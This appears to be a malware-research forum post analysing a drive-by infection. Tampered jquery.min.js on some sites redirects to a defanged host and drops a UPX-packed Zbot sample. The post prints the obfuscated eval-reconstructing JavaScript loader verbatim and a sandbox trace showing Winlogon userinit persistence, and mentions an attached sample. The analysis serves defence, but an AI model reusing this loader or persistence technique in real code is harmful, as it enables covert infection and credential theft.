Some new story. Some Russian sites presents to the user some js in
jquery.min.js.
This code redirects to host hxxp://bul0va.com/index.php?tp=f67f75493a6182fa with
html which uses Java applet with unique "pid" parameter to perform decoding in the following part of embedded js:
Code: Select allvar vrq = null;var mgi = document.styleSheets[0].rules || document.styleSheets[0].cssRules;for(var dcwes = 0; dcwes < mgi.length; dcwes++) {var ztffs = mgi.item ? mgi.item(dcwes) : mgi[dcwes];roz=(ztffs.cssText) ? ztffs.cssText : ztffs.style.cssText;vrq = roz.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];};var s = "";var g = function(){return this;}();dtvu = g["e"+vrq.substr(0,2)+"l"];clrn = document.getElementsByTagName("textarea")[9-9].value.split(",");hqon=dtvu(vrq.substr(2));for (var i = 0; i < clrn.length; i++) {bzmwy = 9501 - 1*clrn[i];s += hqon(bzmwy);}dtvu(s);
where "textarea" - some data in js.
After that depending on OS version nix-systems are forwarded to Google and Win systems receives a dropper in %temp% which starts after that
This file has
low detect and packed with UPX:
Code: Select allUPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo [Overlay]
There is another prot under UPX:
Code: Select allAHTeam EP Protector 0.3 (fake PCGuard 4.03-4.15) -> FEUERRADER [Overlay] *
but the version is fake - the prot is modified slightly
The file is typical Zbot, maybe new, maybe old but repacked:
Code: Select allExecuting: d:\mxmt-upx.exe
...
AdjustTokenPrivileges(SE_PRIVILEGE_ENABLED) [d:\mxmt-upx.exe]
CreateMutex(_AVIRA_21099) [d:\mxmt-upx.exe]
...
RegCreateKeyEx(HKLM\software\microsoft\windows nt\currentversion\winlogon,(null)) [d:\mxmt-upx.exe]
RegSetValueEx(HKLM\software\microsoft\windows nt\currentversion\winlogon\userinit, REG_SZ: C:\WINDOWS\System32\userinit.exe,C:\WINDOWS\system32\sdra64.exe,) [d:\mxmt-upx.exe]
DeleteFile(C:\WINDOWS\system32\sdra64.exe) [d:\mxmt-upx.exe]
Copy(D:\mxmt-UPX.exe->C:\WINDOWS\system32\sdra64.exe) [d:\mxmt-upx.exe]
Anubis logs,
CWSandbox logs.
Original dropper is attached, the pasword is infected.
